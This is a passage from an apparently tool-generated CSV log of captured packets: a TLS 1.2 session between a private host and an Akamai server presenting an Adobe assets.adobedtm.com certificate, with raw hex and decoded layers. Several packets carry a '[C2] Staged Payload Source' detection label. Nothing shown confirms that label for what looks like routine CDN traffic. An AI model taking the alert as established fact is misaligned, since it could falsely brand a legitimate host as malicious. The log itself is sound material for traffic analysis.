{\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 3456, \"\"id\"\": 60175, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17499, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 307422014, \"\"ack\"\": 3129735181, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 2944, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 73, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSServerHello  msgtype=server_hello msglen=69 version=TLS 1.2 gmt_unix_time=Thu, 04 Feb 2077 07:10:47  (3379648247) random_bytes=f1ef97fbe4e4400c6d50b8b9aa21e4f9c026d575444f574e47524401 sidlen=0 sid=b'' cipher=TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 comp=null extlen=29 ext=[<TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>, <TLS_Ext_ServerName  type=server_name len=0 |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=4 ecpllen=3 ecpl=[uncompressed, ansiX962_compressed_prime, ansiX962_compressed_char2] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_CSR  type=status_request len=0 |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 2972, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSCertificate  msgtype=certificate msglen=2968 certslen=2965 certs=[(1731, [X.509 Cert. Subject:/C=US/ST=California/L=San Jose/O=Adobe Inc./CN=assets.adobedtm.com, Issuer:/C=US/O=DigiCert Inc/CN=DigiCert Global G2 TLS RSA SHA256 2020 CA1]), (1228, [X.509 Cert. Subject:/C=US/O=DigiCert Inc/CN=DigiCert Global G2 TLS RSA SHA256 2020 CA1, Issuer:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Global Root G2])] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"16030301df160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303631333132303131345a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd170210088419764d2e757b0de43f20409b08908000180f32303236303631333131343530305aa011180f32303236303632303130343530305a300d06092a864886f70d01010b05000382010100bd203d73b36c692d09b42ee430d952933dca87d466697d1b3ef73ff517b8f011baef63926f87b315af90f2e31252b1f5c1c0f9517116f90ffa81ea54cb416d92321238cf66a90f05f7c35e2ebde34f0b827ffdbabad86893f5568ebfb6c204ac432f882dce170f0684dd30b72418ee7163c3bf8a18cfd8e8b338fddbbf02bb38a43d1bc244\"\"}}]\"\n2026-06-14 14:16:45.820063,7,TCP 10.152.152.11:63940 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63940,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=3129735181 Ack=307425430,bc24112907bbbc2411360d0c0800450000288a134000800672af0a98980b02175953f9c401bbba8bf80d1252f09650102014e0b00000,\".$.)...$.6\n...E..(..@...r.\n.....YS.......\n.R..P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35347, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29359, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 3129735181, \"\"ack\"\": 307425430, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57520, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:45.864579,8,TCP 2.23.89.83:443 -> 10.152.152.11:63940,2.23.89.83,10.152.152.11,443,63940,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=307425430 Ack=3129735181,bc2411360d0cbc24112907bb080045000145eb12400040065093021759530a98980b01bbf9c41252f096ba8bf80d5018003fff4400009569870961874301cb95a22cf8b188efb38e317aa99f95b34d5ff4e9384f1bd28fe11d06b604d9671ba40883f390d73218212b419ee4a4f171793bd1eab8487875978780af281efa1b4af4d6fc47039722482071353a5008531cbd8c76be6c3cb266e13cbb1c387fa46255cade9a531d53bb2633e2efce5a49fa5e16030300940c00009003001741046eeb82df06a56fbba1af828ffc95d2d65ceb8bfef03bacaf92784081f70232845a167d53ff7b6be3eb88ee19de1ed06bdcf7b311325c303aa9eb0b639ab08d1f04030047304502207bda1d6bea69cced217748701e03dfe781503ea5640879759e7bd3a4f061dffc022100d1b2809b8f7451729b9df0b97c136b961d4c5acdaaa1b1cd799818ea0cdb1de616030300040e000000,\".i.\ta.C....,......1z....M_..8O.........g.......2.!+A....qy;...Hxu....(...J...G..\"\"H q5:P.S...v.l<.f.<..8..bU...S.S.&3...ZI.^............A.n.....o.........\\....;...x@...2.Z.}S.{k........k....2\\0:...c.......G0E. {..k.i..!wHp.....P>.d.yu.{...a...!......tQr....|.k..LZ.....y................\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 325, \"\"id\"\": 60178, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20627, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 307425430, \"\"ack\"\": 3129735181, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 65348, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"9569870961874301cb95a22cf8b188efb38e317aa99f95b34d5ff4e9384f1bd28fe11d06b604d9671ba40883f390d73218212b419ee4a4f171793bd1eab8487875978780af281efa1b4af4d6fc47039722482071353a5008531cbd8c76be6c3cb266e13cbb1c387fa46255cade9a531d53bb2633e2efce5a49fa5e16030300940c00009003001741046eeb82df06a56fbba1af828ffc95d2d65ceb8bfef03bacaf92784081f70232845a167d53ff7b6be3eb88ee19de1ed06bdcf7b311325c303aa9eb0b639ab08d1f04030047304502207bda1d6bea69cced217748701e03dfe781503ea5640879759e7bd3a4f061dffc022100d1b2809b8f7451729b9df0b97c136b961d4c5acdaaa1b1cd799818ea0cdb1de616030300040e000000\"\"}}]\"\n2026-06-14 14:16:45.864865,9,TCP 10.152.152.11:63940 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63940,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=3129735181 Ack=307425715,bc24112907bbbc2411360d0c0800450000288a144000800672ae0a98980b02175953f9c401bbba8bf80d1252f1b350102013df940000,\".$.)...$.6\n...E..(..@...r.\n.....YS.......\n.R..P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35348, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29358, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 3129735181, \"\"ack\"\": 307425715, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8211, \"\"chksum\"\": 57236, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:45.877830,10,TCP 10.152.152.11:63940 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63940,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=3129735181 Ack=307425715,bc24112907bbbc2411360d0c0800450000a68a1540008006722f0a98980b02175953f9c401bbba8bf80d1252f1b350182013771400001603030046100000424104796f0c772153da99ca49a746e11c097c88a08e2724612c11380ed3bb10160cbedcbde0896a5ac309914906d5677b685a384b80084b20a9f136d77950b129e67f1403030001011603030028000000000000000000e3007753e931bced3788bfba73b43867fba64de24f37434fbf0189c9a96025,\"A.yo.w!S...I.F..\t|...'$a,.8...........jZ.\t.I..g{hZ8K..K ..6.yP.)..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 166, \"\"id\"\": 35349, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29231, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 3129735181, \"\"ack\"\": 307425715, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8211, \"\"chksum\"\": 30484, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 70, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientKeyExchange  msgtype=client_key_exchange msglen=66 exchkeys=<Raw  load=b\\\"\"A\\\\x04yo\\\\x0cw!S\\\\xda\\\\x99\\\\xcaI\\\\xa7F\\\\xe1\\\\x1c\\\\t|\\\\x88\\\\xa0\\\\x8e'$a,\\\\x118\\\\x0e\\\\xd3\\\\xbb\\\\x10\\\\x16\\\\x0c\\\\xbe\\\\xdc\\\\xbd\\\\xe0\\\\x89jZ\\\\xc3\\\\t\\\\x91I\\\\x06\\\\xd5g{hZ8K\\\\x80\\\\x08K \\\\xa9\\\\xf16\\\\xd7yP\\\\xb1)\\\\xe6\\\\x7f\\\"\" |> |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=14876791 |>, <Raw  load=b'S\\\\xe91\\\\xbc\\\\xed7\\\\x88\\\\xbf\\\\xbas\\\\xb48g\\\\xfb\\\\xa6M\\\\xe2O7CO\\\\xbf\\\\x01\\\\x89\\\\xc9\\\\xa9`%' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:45.877848,11,TCP 2.23.89.83:443 -> 10.152.152.11:63940,2.23.89.83,10.152.152.11,443,63940,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=307425715 Ack=3129735307,bc2411360d0cbc24112907bb080045000028eb134000400651af021759530a98980b01bbf9c41252f1b3ba8bf88b5010003ffe270000,\".$.6\n..$.)....E..(..@.@.Q...YS\n........R......P..?.'..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 60179, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20911, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 307425715, \"\"ack\"\": 3129735307, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 65063, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:46.283864,12,TCP 2.23.89.83:443 -> 10.152.152.11:63940,2.23.89.83,10.152.152.11,443,63940,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=307425715 Ack=3129735307,bc2411360d0cbc24112907bb08004500013aeb1440004006509c021759530a98980b01bbf9c41252f1b3ba8bf88b5018003fff39000016030300da040000d60001449c00d000001e80479be6b5623bf85fbd3bc9774aa1c63b656e77bcf9d57e47c78a25e2fe32e925ac282175b5e98ff81adaba657c0b89e8242cff5a0458bd3c7ae0b31e646ff072ec151a664a5b2dd7768f8f53404886bf3512bc69d4fc08eb94dc1a99f03e56cf2faa22a47b0836842c40593182bd487ac0cdfcc5397692930210369f4692fc8d5ea4e1026bc076e1cc17652a34501c57fbfc9420d83d0bf38fcfd47605f3ddb54df7bee329f18dd29a646915abb0a13e8886b115138739af99b66939a75dee6a08f32b7101dda44f03f62e4e1403030001011603030028bedc482263f3ddbab4b899d8469199958860dfc5242ce8a2170d3eb062d46f2d87611937cf7a3f6e,\"..H\"\"c.......F....`..$,...\n>.b.o-.a.7.z?n\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 314, \"\"id\"\": 60180, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20636, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 307425715, \"\"ack\"\": 3129735307, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 65337, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 218, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSNewSessionTicket  msgtype=session_ticket msglen=214 lifetime=83100 ticketlen=208 ticket=b'\\\\x00\\\\x00\\\\x1e\\\\x80G\\\\x9b\\\\xe6\\\\xb5b;\\\\xf8_\\\\xbd;\\\\xc9wJ\\\\xa1\\\\xc6;enw\\\\xbc\\\\xf9\\\\xd5~G\\\\xc7\\\\x8a%\\\\xe2\\\\xfe2\\\\xe9%\\\\xac(!u\\\\xb5\\\\xe9\\\\x8f\\\\xf8\\\\x1a\\\\xda\\\\xbae|\\\\x0b\\\\x89\\\\xe8$,\\\\xffZ\\\\x04X\\\\xbd<z\\\\xe0\\\\xb3\\\\x1edo\\\\xf0r\\\\xec\\\\x15\\\\x1afJ[-\\\\xd7v\\\\x8f\\\\x8fS@H\\\\x86\\\\xbf5\\\\x12\\\\xbci\\\\xd4\\\\xfc\\\\x08\\\\xeb\\\\x94\\\\xdc\\\\x1a\\\\x99\\\\xf0>V\\\\xcf/\\\\xaa\\\"\"\\\\xa4{\\\\x086\\\\x84,@Y1\\\\x82\\\\xbdHz\\\\xc0\\\\xcd\\\\xfc\\\\xc59v\\\\x92\\\\x93\\\\x02\\\\x106\\\\x9fF\\\\x92\\\\xfc\\\\x8d^\\\\xa4\\\\xe1\\\\x02k\\\\xc0v\\\\xe1\\\\xcc\\\\x17e*4P\\\\x1cW\\\\xfb\\\\xfc\\\\x94 \\\\xd8=\\\\x0b\\\\xf3\\\\x8f\\\\xcf\\\\xd4v\\\\x05\\\\xf3\\\\xdd\\\\xb5M\\\\xf7\\\\xbe\\\\xe3)\\\\xf1\\\\x8d\\\\xd2\\\\x9adi\\\\x15\\\\xab\\\\xb0\\\\xa1>\\\\x88\\\\x86\\\\xb1\\\\x15\\\\x13\\\\x879\\\\xaf\\\\x99\\\\xb6i9\\\\xa7]\\\\xeej\\\\x08\\\\xf3+q\\\\x01\\\\xdd\\\\xa4O\\\\x03\\\\xf6.N' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<Raw  load=b'\\\\xbe\\\\xdcH\\\"\"c\\\\xf3\\\\xdd\\\\xba\\\\xb4\\\\xb8\\\\x99\\\\xd8F\\\\x91\\\\x99\\\\x95\\\\x88`\\\\xdf\\\\xc5$,\\\\xe8\\\\xa2\\\\x17\\\\r>\\\\xb0b\\\\xd4o-\\\\x87a\\\\x197\\\\xcfz?n' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:46.290694,13,TCP 10.152.152.11:63940 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63940,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3129735307 Ack=307425989,bc24112907bbbc2411360d0c0800450002178a164000800670bd0a98980b02175953f9c401bbba8bf88b1252f2c55018201286a2000017030301ea0000000000000001364452090101ef445a8200377f3aa7ba67d0740e2a1b97d1fe1b10bb882f3bbee446aeb099707d967269e5e7108f53a2e3b24cf7867cf8ba4db63877883452a9deac2c7d4a683e0fada435e4ecda27353f10b3953785f72902d909a1f8a78b69f05c4cfc29784f5a046ca226ea5c0d18e2c9f641089bc2cdd3396a7b8a998b46340379eac3c907592521190c8950b02f850530360787f7a5b1e504c12b868f7b66cd401363931842e8016e7bb8176e90535235cf528af029fe26dc85b008c54df687116f4bca34d127bee7c08bed4d03670731bb361a8939129943d212c3ec327ed5f825d5f097165a58f93d1155e2033974ea728fca96b2bd4eef145004fd6b237b24ae5b6c23a10d0beae5bdeb395c9b253ffdb470b9243bbcea1af528a6903321646c55dca185356fa211d4fcf3c2e1716a7a8fa0b727857576b39529d735836f22f2ef91e8dad53ca6098c3172e8a09586145f0495af8bef7289245e8679da272e1bffb787c6b94d2cc8fe291c0e411a4e09f08eb52bc3f25b616698b870a261fcd2d65dc15b698a2ee3aa2e20be4003e8094ee1d268375f546e8c89b19c4e8dab16a8cb415601c9d6bda095c50bd7f1c7a4be77a13885289ae65ad3decd54fc2473ba02c8d9fff6a69fb2a6c65f9be9fb174af17157af05a44352b2edc5c3d1,\".$.)...$.6\n...E.....@...p.\n.....YS.........R..P. ..................6DR\t...DZ..7.:..g.t.*......../;..F...p}.ri....S...L..|..M.8w.4R...,}Jh>...5...'5?...7..)..\t....i.\\L.)xOZ.l.&.\\\n....A.....9j{...F4.y....Y%!...P./..06........+..{f.@.c..B..n{..n.SR5.R..).&.....M...oK.4.'.....M.g.1.6..9..C....2~..%....ZX.=.U..9t.r.....N..P..k#{$.[l#.\n.....9\\.%?..p.$;....(..3!dlU...5o.......qjz...'.uv..).5.o\"\"......<.\t.1r....._.....r.$^.y.'.......M,..)..A.N\t...+..[af..p.a...].[i..... .@..\tN..h7_Tn....N.....AV.............w.8.(..Z...T.$s..........._....J.qW...CR.....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 535, \"\"id\"\": 35350, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28861, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 3129735307, \"\"ack\"\": 307425989, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8210, \"\"chksum\"\": 34466, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 490, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x016DR\\\\t\\\\x01\\\\x01\\\\xefDZ\\\\x82\\\\x007\\\\x7f:\\\\xa7\\\\xbag\\\\xd0t\\\\x0e*\\\\x1b\\\\x97\\\\xd1\\\\xfe\\\\x1b\\\\x10\\\\xbb\\\\x88/;\\\\xbe\\\\xe4F\\\\xae\\\\xb0\\\\x99p}\\\\x96ri\\\\xe5\\\\xe7\\\\x10\\\\x8fS\\\\xa2\\\\xe3\\\\xb2L\\\\xf7\\\\x86|\\\\xf8\\\\xbaM\\\\xb68w\\\\x884R\\\\xa9\\\\xde\\\\xac,}Jh>\\\\x0f\\\\xad\\\\xa45\\\\xe4\\\\xec\\\\xda\\\\'5?\\\\x10\\\\xb3\\\\x957\\\\x85\\\\xf7)\\\\x02\\\\xd9\\\\t\\\\xa1\\\\xf8\\\\xa7\\\\x8bi\\\\xf0\\\\\\\\L\\\\xfc)xOZ\\\\x04l\\\\xa2&\\\\xea\\\\\\\\\\\\r\\\\x18\\\\xe2\\\\xc9\\\\xf6A\\\\x08\\\\x9b\\\\xc2\\\\xcd\\\\xd39j{\\\\x8a\\\\x99\\\\x8bF4\\\\x03y\\\\xea\\\\xc3\\\\xc9\\\\x07Y%!\\\\x19\\\\x0c\\\\x89P\\\\xb0/\\\\x85\\\\x0506\\\\x07\\\\x87\\\\xf7\\\\xa5\\\\xb1\\\\xe5\\\\x04\\\\xc1+\\\\x86\\\\x8f{f\\\\xcd@\\\\x13c\\\\x93\\\\x18B\\\\xe8\\\\x01n{\\\\xb8\\\\x17n\\\\x90SR5\\\\xcfR\\\\x8a\\\\xf0)\\\\xfe&\\\\xdc\\\\x85\\\\xb0\\\\x08\\\\xc5M\\\\xf6\\\\x87\\\\x11oK\\\\xca4\\\\xd1\\\\'\\\\xbe\\\\xe7\\\\xc0\\\\x8b\\\\xedM\\\\x03g\\\\x071\\\\xbb6\\\\x1a\\\\x899\\\\x12\\\\x99C\\\\xd2\\\\x12\\\\xc3\\\\xec2~\\\\xd5\\\\xf8%\\\\xd5\\\\xf0\\\\x97\\\\x16ZX\\\\xf9=\\\\x11U\\\\xe2\\\\x039t\\\\xear\\\\x8f\\\\xca\\\\x96\\\\xb2\\\\xbdN\\\\xef\\\\x14P\\\\x04\\\\xfdk#{$\\\\xae[l#\\\\xa1\\\\r\\\\x0b\\\\xea\\\\xe5\\\\xbd\\\\xeb9\\\\\\\\\\\\x9b%?\\\\xfd\\\\xb4p\\\\xb9$;\\\\xbc\\\\xea\\\\x1a\\\\xf5(\\\\xa6\\\\x903!dlU\\\\xdc\\\\xa1\\\\x855o\\\\xa2\\\\x11\\\\xd4\\\\xfc\\\\xf3\\\\xc2\\\\xe1qjz\\\\x8f\\\\xa0\\\\xb7\\\\'\\\\x85uv\\\\xb3\\\\x95)\\\\xd75\\\\x83o\\\"\"\\\\xf2\\\\xef\\\\x91\\\\xe8\\\\xda\\\\xd5<\\\\xa6\\\\t\\\\x8c1r\\\\xe8\\\\xa0\\\\x95\\\\x86\\\\x14_\\\\x04\\\\x95\\\\xaf\\\\x8b\\\\xefr\\\\x89$^\\\\x86y\\\\xda\\\\'.\\\\x1b\\\\xff\\\\xb7\\\\x87\\\\xc6\\\\xb9M,\\\\xc8\\\\xfe)\\\\x1c\\\\x0eA\\\\x1aN\\\\t\\\\xf0\\\\x8e\\\\xb5+\\\\xc3\\\\xf2[af\\\\x98\\\\xb8p\\\\xa2a\\\\xfc\\\\xd2\\\\xd6]\\\\xc1[i\\\\x8a.\\\\xe3\\\\xaa. 